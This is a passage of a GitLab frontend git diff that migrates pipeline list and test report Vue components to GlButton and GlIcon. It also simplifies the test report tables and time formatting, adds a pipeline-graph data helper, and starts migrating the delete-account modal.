-import { GlDeprecatedButton } from '@gitlab/ui';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
+import { GlButton } from '@gitlab/ui';
export default {
name: 'PipelineNavControls',
components: {
- LoadingButton,
- GlDeprecatedButton,
+ GlButton,
},
props: {
newPipelinePath: {
@@ -42,25 +40,27 @@ export default {
</script>
<template>
<div class="nav-controls">
- <gl-deprecated-button
+ <gl-button
v-if="newPipelinePath"
:href="newPipelinePath"
variant="success"
+ category="primary"
class="js-run-pipeline"
>
{{ s__('Pipelines|Run Pipeline') }}
- </gl-deprecated-button>
+ </gl-button>
- <loading-button
+ <gl-button
v-if="resetCachePath"
:loading="isResetCacheButtonLoading"
- :label="s__('Pipelines|Clear Runner Caches')"
class="js-clear-cache"
@click="onClickResetCache"
- />
+ >
+ {{ s__('Pipelines|Clear Runner Caches') }}
+ </gl-button>
- <gl-deprecated-button v-if="ciLintPath" :href="ciLintPath" class="js-ci-lint">
+ <gl-button v-if="ciLintPath" :href="ciLintPath" class="js-ci-lint">
{{ s__('Pipelines|CI Lint') }}
- </gl-deprecated-button>
+ </gl-button>
</div>
</template>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stop_modal.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stop_modal.vue
index f604edd8859..43a54090e18 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stop_modal.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stop_modal.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { isEmpty } from 'lodash';
import { GlLink } from '@gitlab/ui';
import DeprecatedModal2 from '~/vue_shared/components/deprecated_modal_2.vue';
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
index 2dfc6485d85..adba86d384b 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue
@@ -1,5 +1,6 @@
<script>
import { isEqual } from 'lodash';
+import { GlIcon } from '@gitlab/ui';
import { __, s__ } from '~/locale';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import PipelinesService from '../../services/pipelines_service';
@@ -9,7 +10,6 @@ import NavigationTabs from '~/vue_shared/components/navigation_tabs.vue';
import NavigationControls from './nav_controls.vue';
import { getParameterByName } from '~/lib/utils/common_utils';
import CIPaginationMixin from '~/vue_shared/mixins/ci_pagination_api_mixin';
-import Icon from '~/vue_shared/components/icon.vue';
import PipelinesFilteredSearch from './pipelines_filtered_search.vue';
import { validateParams } from '../../utils';
import { ANY_TRIGGER_AUTHOR, RAW_TEXT_WARNING, FILTER_TAG_IDENTIFIER } from '../../constants';
@@ -21,7 +21,7 @@ export default {
NavigationTabs,
NavigationControls,
PipelinesFilteredSearch,
- Icon,
+ GlIcon,
},
mixins: [pipelinesMixin, CIPaginationMixin, glFeatureFlagsMixin()],
props: {
@@ -285,8 +285,8 @@ export default {
v-if="shouldRenderTabs || shouldRenderButtons"
class="top-area scrolling-tabs-container inner-page-scroll-tabs"
>
- <div class="fade-left"><icon name="chevron-lg-left" :size="12" /></div>
- <div class="fade-right"><icon name="chevron-lg-right" :size="12" /></div>
+ <div class="fade-left"><gl-icon name="chevron-lg-left" :size="12" /></div>
+ <div class="fade-right"><gl-icon name="chevron-lg-right" :size="12" /></div>
<navigation-tabs
v-if="shouldRenderTabs"
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
index 098efe68b83..97595e5d2ce 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_actions.vue
@@ -1,10 +1,9 @@
<script>
-import { GlDeprecatedButton, GlTooltipDirective, GlLoadingIcon } from '@gitlab/ui';
+import { GlTooltipDirective, GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import axios from '~/lib/utils/axios_utils';
import { deprecatedCreateFlash as flash } from '~/flash';
import { s__, __, sprintf } from '~/locale';
import GlCountdown from '~/vue_shared/components/gl_countdown.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import eventHub from '../../event_hub';
export default {
@@ -12,9 +11,9 @@ export default {
GlTooltip: GlTooltipDirective,
},
components: {
- Icon,
+ GlIcon,
GlCountdown,
- GlDeprecatedButton,
+ GlButton,
GlLoadingIcon,
},
props: {
@@ -83,29 +82,32 @@ export default {
type="button"
:disabled="isLoading"
class="dropdown-new btn btn-default js-pipeline-dropdown-manual-actions"
- :title="__('Manual job')"
+ :title="__('Run manual or delayed jobs')"
data-toggle="dropdown"
- :aria-label="__('Manual job')"
+ :aria-label="__('Run manual or delayed jobs')"
>
- <icon name="play" class="icon-play" />
+ <gl-icon name="play" class="icon-play" />
<i class="fa fa-caret-down" aria-hidden="true"></i>
<gl-loading-icon v-if="isLoading" />
</button>
<ul class="dropdown-menu dropdown-menu-right">
<li v-for="action in actions" :key="action.path">
- <gl-deprecated-button
+ <gl-button
+ category="tertiary"
:class="{ disabled: isActionDisabled(action) }"
:disabled="isActionDisabled(action)"
- class="js-pipeline-action-link no-btn btn d-flex align-items-center justify-content-between flex-wrap"
+ class="js-pipeline-action-link"
@click="onClickAction(action)"
>
- {{ action.name }}
- <span v-if="action.scheduled_at">
- <icon name="clock" />
- <gl-countdown :end-date-string="action.scheduled_at" />
- </span>
- </gl-deprecated-button>
+ <div class="d-flex justify-content-between flex-wrap">
+ {{ action.name }}
+ <span v-if="action.scheduled_at">
+ <gl-icon name="clock" />
+ <gl-countdown :end-date-string="action.scheduled_at" />
+ </span>
+ </div>
+ </gl-button>
</li>
</ul>
</div>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
index 59c066b2683..4a3d134685e 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_artifacts.vue
@@ -1,14 +1,13 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlLink, GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLink, GlTooltipDirective, GlIcon } from '@gitlab/ui';
export default {
directives: {
GlTooltip: GlTooltipDirective,
},
components: {
- Icon,
+ GlIcon,
GlLink,
},
props: {
@@ -29,7 +28,7 @@ export default {
data-toggle="dropdown"
:aria-label="__('Artifacts')"
>
- <icon name="download" />
+ <gl-icon name="download" />
<i class="fa fa-caret-down" aria-hidden="true"></i>
</button>
<ul class="dropdown-menu dropdown-menu-right">
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue
index f25994a7506..1bdb7d18f04 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue
@@ -1,4 +1,5 @@
<script>
+import { GlButton } from '@gitlab/ui';
import eventHub from '../../event_hub';
import PipelinesActionsComponent from './pipelines_actions.vue';
import PipelinesArtifactsComponent from './pipelines_artifacts.vue';
@@ -8,8 +9,6 @@ import PipelineUrl from './pipeline_url.vue';
import PipelineTriggerer from './pipeline_triggerer.vue';
import PipelinesTimeago from './time_ago.vue';
import CommitComponent from '~/vue_shared/components/commit.vue';
-import LoadingButton from '~/vue_shared/components/loading_button.vue';
-import Icon from '~/vue_shared/components/icon.vue';
import { PIPELINES_TABLE } from '../../constants';
/**
@@ -27,8 +26,7 @@ export default {
PipelineTriggerer,
CiBadge,
PipelinesTimeago,
- LoadingButton,
- Icon,
+ GlButton,
},
props: {
pipeline: {
@@ -274,6 +272,7 @@ export default {
<ci-badge
:status="pipelineStatus"
:show-text="!isChildView"
+ :icon-classes="'gl-vertical-align-middle!'"
data-qa-selector="pipeline_commit_status"
/>
</div>
@@ -337,28 +336,30 @@ export default {
class="d-md-block"
/>
- <loading-button
+ <gl-button
v-if="pipeline.flags.retryable"
:loading="isRetrying"
:disabled="isRetrying"
- container-class="js-pipelines-retry-button btn btn-default btn-retry"
+ class="js-pipelines-retry-button btn-retry"
data-qa-selector="pipeline_retry_button"
+ icon="repeat"
+ variant="default"
+ category="secondary"
@click="handleRetryClick"
- >
- <icon name="repeat" />
- </loading-button>
+ />
- <loading-button
+ <gl-button
v-if="pipeline.flags.cancelable"
:loading="isCancelling"
:disabled="isCancelling"
data-toggle="modal"
data-target="#confirmation-modal"
- container-class="js-pipelines-cancel-button btn btn-remove"
+ icon="close"
+ variant="danger"
+ category="primary"
+ class="js-pipelines-cancel-button"
@click="handleCancelClick"
- >
- <icon name="close" />
- </loading-button>
+ />
</div>
</div>
</div>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/stage.vue b/app/assets/javascripts/pipelines/components/pipelines_list/stage.vue
index d992a4b7752..4045f450104 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/stage.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/stage.vue
@@ -13,18 +13,17 @@
*/
import $ from 'jquery';
-import { GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
import { deprecatedCreateFlash as Flash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import eventHub from '../../event_hub';
-import Icon from '~/vue_shared/components/icon.vue';
import JobItem from '../graph/job_item.vue';
import { PIPELINES_TABLE } from '../../constants';
export default {
components: {
- Icon,
+ GlIcon,
JobItem,
GlLoadingIcon,
},
@@ -170,7 +169,7 @@ export default {
@click="onClickStage"
>
<span :aria-label="stage.title" aria-hidden="true" class="no-pointer-events">
- <icon :name="borderlessIcon" />
+ <gl-icon :name="borderlessIcon" />
</span>
</button>
diff --git a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
index 8a01e1fe3f5..7d13ee582c6 100644
--- a/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
+++ b/app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue
@@ -1,5 +1,5 @@
<script>
-import iconTimerSvg from 'icons/_icon_timer.svg';
+import { GlIcon } from '@gitlab/ui';
import '~/lib/utils/datetime_utility';
import tooltip from '~/vue_shared/directives/tooltip';
import timeagoMixin from '~/vue_shared/mixins/timeago';
@@ -8,6 +8,7 @@ export default {
directives: {
tooltip,
},
+ components: { GlIcon },
mixins: [timeagoMixin],
props: {
finishedTime: {
@@ -19,11 +20,6 @@ export default {
required: true,
},
},
- data() {
- return {
- iconTimerSvg,
- };
- },
computed: {
hasDuration() {
return this.duration > 0;
@@ -59,11 +55,12 @@ export default {
<div class="table-mobile-header" role="rowheader">{{ s__('Pipeline|Duration') }}</div>
<div class="table-mobile-content">
<p v-if="hasDuration" class="duration">
- <span v-html="iconTimerSvg"> </span> {{ durationFormatted }}
+ <gl-icon name="timer" class="gl-vertical-align-baseline!" aria-hidden="true" />
+ {{ durationFormatted }}
</p>
<p v-if="hasFinishedTime" class="finished-at d-none d-sm-none d-md-block">
- <i class="fa fa-calendar" aria-hidden="true"> </i>
+ <gl-icon name="calendar" class="gl-vertical-align-baseline!" aria-hidden="true" />
<time
v-tooltip
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_reports.vue b/app/assets/javascripts/pipelines/components/test_reports/test_reports.vue
index bc1d22e2976..c3398e90895 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_reports.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_reports.vue
@@ -55,13 +55,14 @@ export default {
<template>
<div v-if="isLoading">
- <gl-loading-icon size="lg" class="gl-mt-3 js-loading-spinner" />
+ <gl-loading-icon size="lg" class="gl-mt-3" />
</div>
<div
v-else-if="!isLoading && showTests"
ref="container"
- class="tests-detail position-relative js-tests-detail"
+ class="tests-detail position-relative"
+ data-testid="tests-detail"
>
<transition
name="slide"
@@ -85,7 +86,7 @@ export default {
<div v-else>
<div class="row gl-mt-3">
<div class="col-12">
- <p class="js-no-tests-to-show">{{ s__('TestReports|There are no tests to show.') }}</p>
+ <p data-testid="no-tests-to-show">{{ s__('TestReports|There are no tests to show.') }}</p>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue b/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
index 478073e44d1..aa53c5040e8 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_suite_table.vue
@@ -1,15 +1,12 @@
<script>
import { mapGetters } from 'vuex';
-import { GlTooltipDirective, GlFriendlyWrap } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlFriendlyWrap, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import SmartVirtualList from '~/vue_shared/components/smart_virtual_list.vue';
export default {
name: 'TestsSuiteTable',
components: {
- Icon,
- SmartVirtualList,
+ GlIcon,
GlFriendlyWrap,
},
directives: {
@@ -28,8 +25,6 @@ export default {
return this.getSuiteTests.length > 0;
},
},
- maxShownRows: 30,
- typicalRowHeight: 75,
wrapSymbols: ['::', '#', '.', '_', '-', '/', '\\'],
};
</script>
@@ -61,66 +56,60 @@ export default {
</div>
</div>
- <smart-virtual-list
- :length="getSuiteTests.length"
- :remain="$options.maxShownRows"
- :size="$options.typicalRowHeight"
+ <div
+ v-for="(testCase, index) in getSuiteTests"
+ :key="index"
+ class="gl-responsive-table-row rounded align-items-md-start mt-xs-3 js-case-row"
>
- <div
- v-for="(testCase, index) in getSuiteTests"
- :key="index"
- class="gl-responsive-table-row rounded align-items-md-start mt-xs-3 js-case-row"
- >
- <div class="table-section section-20 section-wrap">
- <div role="rowheader" class="table-mobile-header">{{ __('Suite') }}</div>
- <div class="table-mobile-content pr-md-1 gl-overflow-wrap-break">
- <gl-friendly-wrap :symbols="$options.wrapSymbols" :text="testCase.classname" />
- </div>
+ <div class="table-section section-20 section-wrap">
+ <div role="rowheader" class="table-mobile-header">{{ __('Suite') }}</div>
+ <div class="table-mobile-content pr-md-1 gl-overflow-wrap-break">
+ <gl-friendly-wrap :symbols="$options.wrapSymbols" :text="testCase.classname" />
</div>
+ </div>
- <div class="table-section section-20 section-wrap">
- <div role="rowheader" class="table-mobile-header">{{ __('Name') }}</div>
- <div class="table-mobile-content pr-md-1 gl-overflow-wrap-break">
- <gl-friendly-wrap
- data-testid="caseName"
- :symbols="$options.wrapSymbols"
- :text="testCase.name"
- />
- </div>
+ <div class="table-section section-20 section-wrap">
+ <div role="rowheader" class="table-mobile-header">{{ __('Name') }}</div>
+ <div class="table-mobile-content pr-md-1 gl-overflow-wrap-break">
+ <gl-friendly-wrap
+ data-testid="caseName"
+ :symbols="$options.wrapSymbols"
+ :text="testCase.name"
+ />
</div>
+ </div>
- <div class="table-section section-10 section-wrap">
- <div role="rowheader" class="table-mobile-header">{{ __('Status') }}</div>
- <div class="table-mobile-content text-center">
- <div
- class="add-border ci-status-icon d-flex align-items-center justify-content-end justify-content-md-center"
- :class="`ci-status-icon-${testCase.status}`"
- >
- <icon :size="24" :name="testCase.icon" />
- </div>
+ <div class="table-section section-10 section-wrap">
+ <div role="rowheader" class="table-mobile-header">{{ __('Status') }}</div>
+ <div class="table-mobile-content text-center">
+ <div
+ class="add-border ci-status-icon d-flex align-items-center justify-content-end justify-content-md-center"
+ :class="`ci-status-icon-${testCase.status}`"
+ >
+ <gl-icon :size="24" :name="testCase.icon" />
</div>
</div>
+ </div>
- <div class="table-section flex-grow-1">
- <div role="rowheader" class="table-mobile-header">{{ __('Trace'), }}</div>
- <div class="table-mobile-content">
- <pre
- v-if="testCase.system_output"
- class="build-trace build-trace-rounded text-left"
- ><code class="bash p-0">{{testCase.system_output}}</code></pre>
- </div>
+ <div class="table-section flex-grow-1">
+ <div role="rowheader" class="table-mobile-header">{{ __('Trace'), }}</div>
+ <div class="table-mobile-content">
+ <pre
+ v-if="testCase.system_output"
+ class="build-trace build-trace-rounded text-left"
+ ><code class="bash p-0">{{testCase.system_output}}</code></pre>
</div>
+ </div>
- <div class="table-section section-10 section-wrap">
- <div role="rowheader" class="table-mobile-header">
- {{ __('Duration') }}
- </div>
- <div class="table-mobile-content text-right pr-sm-1">
- {{ testCase.formattedTime }}
- </div>
+ <div class="table-section section-10 section-wrap">
+ <div role="rowheader" class="table-mobile-header">
+ {{ __('Duration') }}
+ </div>
+ <div class="table-mobile-content text-right pr-sm-1">
+ {{ testCase.formattedTime }}
</div>
</div>
- </smart-virtual-list>
+ </div>
</div>
<div v-else>
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue b/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
index 712ac5eb0e5..d33d4e7dfd0 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_summary.vue
@@ -1,15 +1,13 @@
<script>
-import { GlDeprecatedButton, GlProgressBar } from '@gitlab/ui';
+import { GlButton, GlProgressBar } from '@gitlab/ui';
import { __ } from '~/locale';
-import { formatTime, secondsToMilliseconds } from '~/lib/utils/datetime_utility';
-import Icon from '~/vue_shared/components/icon.vue';
+import { formattedTime } from '../../stores/test_reports/utils';
export default {
name: 'TestSummary',
components: {
- GlDeprecatedButton,
+ GlButton,
GlProgressBar,
- Icon,
},
props: {
report: {
@@ -39,7 +37,7 @@ export default {
return 0;
},
formattedDuration() {
- return formatTime(secondsToMilliseconds(this.report.total_time));
+ return formattedTime(this.report.total_time);
},
progressBarVariant() {
if (this.successPercentage < 33) {
@@ -69,14 +67,13 @@ export default {
<div>
<div class="row">
<div class="col-12 d-flex gl-mt-3 align-items-center">
- <gl-deprecated-button
+ <gl-button
v-if="showBack"
- size="sm"
+ size="small"
class="gl-mr-3 js-back-button"
+ icon="angle-left"
@click="onBackClick"
- >
- <icon name="angle-left" />
- </gl-deprecated-button>
+ />
<h4>{{ heading }}</h4>
</div>
diff --git a/app/assets/javascripts/pipelines/components/test_reports/test_summary_table.vue b/app/assets/javascripts/pipelines/components/test_reports/test_summary_table.vue
index e774fe06fbe..5f9c0be3ccc 100644
--- a/app/assets/javascripts/pipelines/components/test_reports/test_summary_table.vue
+++ b/app/assets/javascripts/pipelines/components/test_reports/test_summary_table.vue
@@ -2,13 +2,11 @@
import { mapGetters } from 'vuex';
import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { s__ } from '~/locale';
-import SmartVirtualList from '~/vue_shared/components/smart_virtual_list.vue';
export default {
name: 'TestsSummaryTable',
components: {
GlIcon,
- SmartVirtualList,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -31,8 +29,6 @@ export default {
this.$emit('row-click', index);
},
},
- maxShownRows: 20,
- typicalRowHeight: 55,
};
</script>
@@ -69,83 +65,77 @@ export default {
</div>
</div>
- <smart-virtual-list
- :length="getTestSuites.length"
- :remain="$options.maxShownRows"
- :size="$options.typicalRowHeight"
+ <div
+ v-for="(testSuite, index) in getTestSuites"
+ :key="index"
+ role="row"
+ class="gl-responsive-table-row test-reports-summary-row rounded js-suite-row"
+ :class="{
+ 'gl-responsive-table-row-clickable cursor-pointer': !testSuite.suite_error,
+ }"
+ @click="tableRowClick(index)"
>
- <div
- v-for="(testSuite, index) in getTestSuites"
- :key="index"
- role="row"
- class="gl-responsive-table-row test-reports-summary-row rounded js-suite-row"
- :class="{
- 'gl-responsive-table-row-clickable cursor-pointer': !testSuite.suite_error,
- }"
- @click="tableRowClick(index)"
- >
- <div class="table-section section-25">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Suite') }}
- </div>
- <div class="table-mobile-content underline cgray pl-3">
- {{ testSuite.name }}
- <gl-icon
- v-if="testSuite.suite_error"
- ref="suiteErrorIcon"
- v-gl-tooltip
- name="error"
- :title="testSuite.suite_error"
- class="vertical-align-middle"
- />
- </div>
+ <div class="table-section section-25">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Suite') }}
</div>
+ <div class="table-mobile-content underline cgray pl-3">
+ {{ testSuite.name }}
+ <gl-icon
+ v-if="testSuite.suite_error"
+ ref="suiteErrorIcon"
+ v-gl-tooltip
+ name="error"
+ :title="testSuite.suite_error"
+ class="vertical-align-middle"
+ />
+ </div>
+ </div>
- <div class="table-section section-25">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Duration') }}
- </div>
- <div class="table-mobile-content text-md-left">
- {{ testSuite.formattedTime }}
- </div>
+ <div class="table-section section-25">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Duration') }}
+ </div>
+ <div class="table-mobile-content text-md-left">
+ {{ testSuite.formattedTime }}
</div>
+ </div>
- <div class="table-section section-10 text-center">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Failed') }}
- </div>
- <div class="table-mobile-content">{{ testSuite.failed_count }}</div>
+ <div class="table-section section-10 text-center">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Failed') }}
</div>
+ <div class="table-mobile-content">{{ testSuite.failed_count }}</div>
+ </div>
- <div class="table-section section-10 text-center">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Errors') }}
- </div>
- <div class="table-mobile-content">{{ testSuite.error_count }}</div>
+ <div class="table-section section-10 text-center">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Errors') }}
</div>
+ <div class="table-mobile-content">{{ testSuite.error_count }}</div>
+ </div>
- <div class="table-section section-10 text-center">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Skipped') }}
- </div>
- <div class="table-mobile-content">{{ testSuite.skipped_count }}</div>
+ <div class="table-section section-10 text-center">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Skipped') }}
</div>
+ <div class="table-mobile-content">{{ testSuite.skipped_count }}</div>
+ </div>
- <div class="table-section section-10 text-center">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Passed') }}
- </div>
- <div class="table-mobile-content">{{ testSuite.success_count }}</div>
+ <div class="table-section section-10 text-center">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Passed') }}
</div>
+ <div class="table-mobile-content">{{ testSuite.success_count }}</div>
+ </div>
- <div class="table-section section-10 text-right pr-md-3">
- <div role="rowheader" class="table-mobile-header font-weight-bold">
- {{ __('Total') }}
- </div>
- <div class="table-mobile-content">{{ testSuite.total_count }}</div>
+ <div class="table-section section-10 text-right pr-md-3">
+ <div role="rowheader" class="table-mobile-header font-weight-bold">
+ {{ __('Total') }}
</div>
+ <div class="table-mobile-content">{{ testSuite.total_count }}</div>
</div>
- </smart-virtual-list>
+ </div>
</div>
<div v-else>
diff --git a/app/assets/javascripts/pipelines/pipeline_details_bundle.js b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
index c57be7c75b0..745f5b886a5 100644
--- a/app/assets/javascripts/pipelines/pipeline_details_bundle.js
+++ b/app/assets/javascripts/pipelines/pipeline_details_bundle.js
@@ -14,10 +14,20 @@ import createTestReportsStore from './stores/test_reports';
Vue.use(Translate);
+const SELECTORS = {
+ PIPELINE_DETAILS: '.js-pipeline-details-vue',
+ PIPELINE_GRAPH: '#js-pipeline-graph-vue',
+ PIPELINE_HEADER: '#js-pipeline-header-vue',
+ PIPELINE_TESTS: '#js-pipeline-tests-detail',
+};
+
const createPipelinesDetailApp = mediator => {
+ if (!document.querySelector(SELECTORS.PIPELINE_GRAPH)) {
+ return;
+ }
// eslint-disable-next-line no-new
new Vue({
- el: '#js-pipeline-graph-vue',
+ el: SELECTORS.PIPELINE_GRAPH,
components: {
pipelineGraph,
},
@@ -47,9 +57,12 @@ const createPipelinesDetailApp = mediator => {
};
const createPipelineHeaderApp = mediator => {
+ if (!document.querySelector(SELECTORS.PIPELINE_HEADER)) {
+ return;
+ }
// eslint-disable-next-line no-new
new Vue({
- el: '#js-pipeline-header-vue',
+ el: SELECTORS.PIPELINE_HEADER,
components: {
pipelineHeader,
},
@@ -93,9 +106,8 @@ const createPipelineHeaderApp = mediator => {
};
const createTestDetails = () => {
- const el = document.querySelector('#js-pipeline-tests-detail');
+ const el = document.querySelector(SELECTORS.PIPELINE_TESTS);
const { summaryEndpoint, suiteEndpoint } = el?.dataset || {};
-
const testReportsStore = createTestReportsStore({
summaryEndpoint,
suiteEndpoint,
@@ -115,7 +127,7 @@ const createTestDetails = () => {
};
export default () => {
- const { dataset } = document.querySelector('.js-pipeline-details-vue');
+ const { dataset } = document.querySelector(SELECTORS.PIPELINE_DETAILS);
const mediator = new PipelinesMediator({ endpoint: dataset.endpoint });
mediator.fetchPipeline();
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/getters.js b/app/assets/javascripts/pipelines/stores/test_reports/getters.js
index 6c670806cc4..c123014756d 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/getters.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/getters.js
@@ -1,4 +1,4 @@
-import { addIconStatus, formattedTime, sortTestCases } from './utils';
+import { addIconStatus, formattedTime } from './utils';
export const getTestSuites = state => {
const { test_suites: testSuites = [] } = state.testReports;
@@ -14,5 +14,5 @@ export const getSelectedSuite = state =>
export const getSuiteTests = state => {
const { test_cases: testCases = [] } = getSelectedSuite(state);
- return testCases.sort(sortTestCases).map(addIconStatus);
+ return testCases.map(addIconStatus);
};
diff --git a/app/assets/javascripts/pipelines/stores/test_reports/utils.js b/app/assets/javascripts/pipelines/stores/test_reports/utils.js
index 16fa6935cbe..8f1ac305cda 100644
--- a/app/assets/javascripts/pipelines/stores/test_reports/utils.js
+++ b/app/assets/javascripts/pipelines/stores/test_reports/utils.js
@@ -1,5 +1,4 @@
-import { TestStatus } from '~/pipelines/constants';
-import { formatTime, secondsToMilliseconds } from '~/lib/utils/datetime_utility';
+import { __, sprintf } from '../../../locale';
export function iconForTestStatus(status) {
switch (status) {
@@ -12,25 +11,16 @@ export function iconForTestStatus(status) {
}
}
-export const formattedTime = timeInSeconds => formatTime(secondsToMilliseconds(timeInSeconds));
+export const formattedTime = (seconds = 0) => {
+ if (seconds < 1) {
+ const milliseconds = seconds * 1000;
+ return sprintf(__('%{milliseconds}ms'), { milliseconds: milliseconds.toFixed(2) });
+ }
+ return sprintf(__('%{seconds}s'), { seconds: seconds.toFixed(2) });
+};
export const addIconStatus = testCase => ({
...testCase,
icon: iconForTestStatus(testCase.status),
formattedTime: formattedTime(testCase.execution_time),
});
-
-export const sortTestCases = (a, b) => {
- if (a.status === b.status) {
- return 0;
- }
-
- switch (b.status) {
- case TestStatus.SUCCESS:
- return -1;
- case TestStatus.FAILED:
- return 1;
- default:
- return 0;
- }
-};
diff --git a/app/assets/javascripts/pipelines/utils.js b/app/assets/javascripts/pipelines/utils.js
index 2e08001f6b3..bd53b22784c 100644
--- a/app/assets/javascripts/pipelines/utils.js
+++ b/app/assets/javascripts/pipelines/utils.js
@@ -1,7 +1,49 @@
import { pickBy } from 'lodash';
import { SUPPORTED_FILTER_PARAMETERS } from './constants';
-// eslint-disable-next-line import/prefer-default-export
export const validateParams = params => {
return pickBy(params, (val, key) => SUPPORTED_FILTER_PARAMETERS.includes(key) && val);
};
+
+/**
+ * This function takes a json payload that comes from a yml
+ * file converted to json through `jsyaml` library. Because we
+ * naively convert the entire yaml to json, some keys (like `includes`)
+ * are irrelevant to rendering the graph and must be removed. We also
+ * restructure the data to have the structure from an API response for the
+ * pipeline data.
+ * @param {Object} jsonData
+ * @returns {Array} - Array of stages containing all jobs
+ */
+export const preparePipelineGraphData = jsonData => {
+ const jsonKeys = Object.keys(jsonData);
+ const jobNames = jsonKeys.filter(job => jsonData[job]?.stage);
+
+ // We merge both the stages from the "stages" key in the yaml and the stage associated
+ // with each job to show the user both the stages they explicitly defined, and those
+ // that they added under jobs. We also remove duplicates.
+ const jobStages = jobNames.map(job => jsonData[job].stage);
+ const userDefinedStages = jsonData?.stages ?? [];
+
+ // The order is important here. We always show the stages in order they were
+ // defined in the `stages` key first, and then stages that are under the jobs.
+ const stages = Array.from(new Set([...userDefinedStages, ...jobStages]));
+
+ const arrayOfJobsByStage = stages.map(val => {
+ return jobNames.filter(job => {
+ return jsonData[job].stage === val;
+ });
+ });
+
+ const pipelineData = stages.map((stage, index) => {
+ const stageJobs = arrayOfJobsByStage[index];
+ return {
+ name: stage,
+ groups: stageJobs.map(job => {
+ return { name: job, jobs: [{ ...jsonData[job] }] };
+ }),
+ };
+ });
+
+ return { stages: pipelineData };
+};
diff --git a/app/assets/javascripts/profile/account/components/delete_account_modal.vue b/app/assets/javascripts/profile/account/components/delete_account_modal.vue
index 605859cfb6a..f06dc72d365 100644
--- a/app/assets/javascripts/profile/account/components/delete_account_modal.vue
+++ b/app/assets/javascripts/profile/account/components/delete_account_modal.vue
@@ -1,11 +1,12 @@
<script>
-import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
+/* eslint-disable vue/no-v-html */
+import { GlModal } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
import csrf from '~/lib/utils/csrf';
export default {
components: {
- DeprecatedModal,
+ GlModal,
},
props: {
actionUrl: {
@@ -54,21 +55,38 @@ You are about to permanently delete %{yourAccount}, and all of the issues, merge
Once you confirm %{deleteAccount}, it cannot be undone or recovered.`),
{
